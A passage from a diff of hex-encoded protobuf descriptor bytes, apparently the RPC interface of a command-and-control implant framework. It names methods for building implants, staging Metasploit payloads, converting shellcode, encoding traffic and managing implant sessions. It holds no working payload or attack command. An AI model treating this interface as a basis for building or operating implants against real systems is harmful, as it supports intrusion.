0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, - 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, - 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, - 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, + 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, - 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, - 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, - 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, + 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, - 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, + 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, + 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, + 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x15, + 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, + 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, + 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, - 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, - 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, - 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, - 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, - 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, - 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, - 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, - 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, - 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, - 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, - 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 